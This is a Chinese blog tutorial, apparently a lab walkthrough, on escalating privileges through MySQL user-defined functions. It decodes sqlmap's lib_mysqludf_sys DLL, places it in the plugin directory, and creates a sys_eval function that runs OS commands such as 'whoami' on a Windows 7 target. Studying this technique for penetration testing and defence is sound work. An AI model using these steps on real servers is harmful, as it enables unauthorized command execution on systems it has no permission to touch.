当前位置: 首页 > news >正文

UDF提权(mysql)

目录

环境

1.什么是UDF:用户自定义函数

2.前提

3.查看mysql位数

4.打开sqlmap文件夹

5.dl_文件为了防止误杀,dll_文件会经过异或编码,不能直接用,如果想用的话需要对其进行解码

6.解码

7.上传dll文件至指定文件夹(mysql安装目录下的lib/plugin/)

8.在mysql命令行导入函数

9.执行命令


环境

攻击机 win10

靶机     win7(192.168.20.130)

1.什么是UDF:用户自定义函数

udf = “user defined function”,即‘用户自定义函数’。是通过添加新函数,对MYSQL的功能进行扩充,性质就像使用本地MYSQL函数如abs()或concat()。udf在mysql5.1以后的版本中,存在于’mysql/lib/plugin’目录下,文件后缀为’.dll’

2.前提

mysql5.0以上的需要在mysql安装目录的lib目录下新建一个plugin文件夹,5.0以下的,上传目录为D:/windows

3.查看mysql位数

show variables like '%compile%';

4.打开sqlmap文件夹

  

5.dl_文件为了防止误杀,dll_文件会经过异或编码,不能直接用,如果想用的话需要对其进行解码

6.解码

执行python cloak.py -d -i

D:\python3.10.0\sqlmap\data\udf\mysql\windows\64\lib_mysqludf_sys.dll_

7.上传dll文件至指定文件夹(mysql安装目录下的lib/plugin/)

8.在mysql命令行导入函数

create function sys_eval returns string soname 'lib_mysqludf_sys.dll';

9.执行命令

select sys_eval('whoami');

相关文章:

  • linux内核漏洞(CVE-2022-0847)
  • kubekey 离线部署 kubesphere v3.3.0
  • Git史上最详细教程(详细图解)
  • Python科学计算库练习题
  • 高性能MySQL实战第10讲:搭建稳固的MySQL运维体系
  • java毕业设计茶叶企业管理系统Mybatis+系统+数据库+调试部署
  • JAVA安装教程 (windows)
  • 6.hadoop文件数据库系列讲解
  • Day11OSI与TCP/IP协议簇以及物理层
  • Javaweb学生信息管理系统(Mysql+JSP+MVC+CSS)
  • ubuntu-hadoop伪分布
  • springboot 多环境配置(pom配置Profiles变量来,控制打包环境)
  • 计算机毕业设计ssm蓟县农家院网站2zl2w系统+程序+源码+lw+远程部署
  • 刷题记录(NC16645 [NOIP2007]矩阵取数游戏,NC207781 迁徙过程中的河流,NC235953 最大m个子段和)
  • 【网络服务数据库教程】05 LAMP 部署
  • django开发-定时任务的使用
  • ESLint简单操作
  • express.js的介绍及使用
  • Java程序员幽默爆笑锦集
  • Netty源码解析1-Buffer
  • SpiderData 2019年2月23日 DApp数据排行榜
  • ucore操作系统实验笔记 - 重新理解中断
  • Vue.js源码(2):初探List Rendering
  • 使用SAX解析XML
  • 数组的操作
  • 微信小程序设置上一页数据
  • 小程序 setData 学问多
  • 新手搭建网站的主要流程
  • 自动记录MySQL慢查询快照脚本
  • ​力扣解法汇总946-验证栈序列
  • (delphi11最新学习资料) Object Pascal 学习笔记---第2章第五节(日期和时间)
  • (DFS + 剪枝)【洛谷P1731】 [NOI1999] 生日蛋糕
  • (四)鸿鹄云架构一服务注册中心
  • (原創) 如何優化ThinkPad X61開機速度? (NB) (ThinkPad) (X61) (OS) (Windows)
  • (转)linux 命令大全
  • (轉貼) 寄發紅帖基本原則(教育部禮儀司頒布) (雜項)
  • . Flume面试题
  • .chm格式文件如何阅读
  • .Family_物联网
  • .form文件_一篇文章学会文件上传
  • .MSSQLSERVER 导入导出 命令集--堪称经典,值得借鉴!
  • .Net MVC + EF搭建学生管理系统
  • .NET面试题(二)
  • /bin/rm: 参数列表过长"的解决办法
  • @property括号内属性讲解
  • @Transactional 详解
  • [20170705]diff比较执行结果的内容.txt
  • [2669]2-2 Time类的定义
  • [AIGC] Spring Interceptor 拦截器详解
  • [C# WPF] DataGrid选中行或选中单元格的背景和字体颜色修改
  • [C#] 如何调用Python脚本程序
  • [C/C++] C/C++中数字与字符串之间的转换
  • [DNS网络] 网页无法打开、显示不全、加载卡顿缓慢 | 解决方案
  • [EFI]Acer Aspire A515-54g电脑 Hackintosh 黑苹果efi引导文件
  • [Foreman]解决Unable to find internal system admin account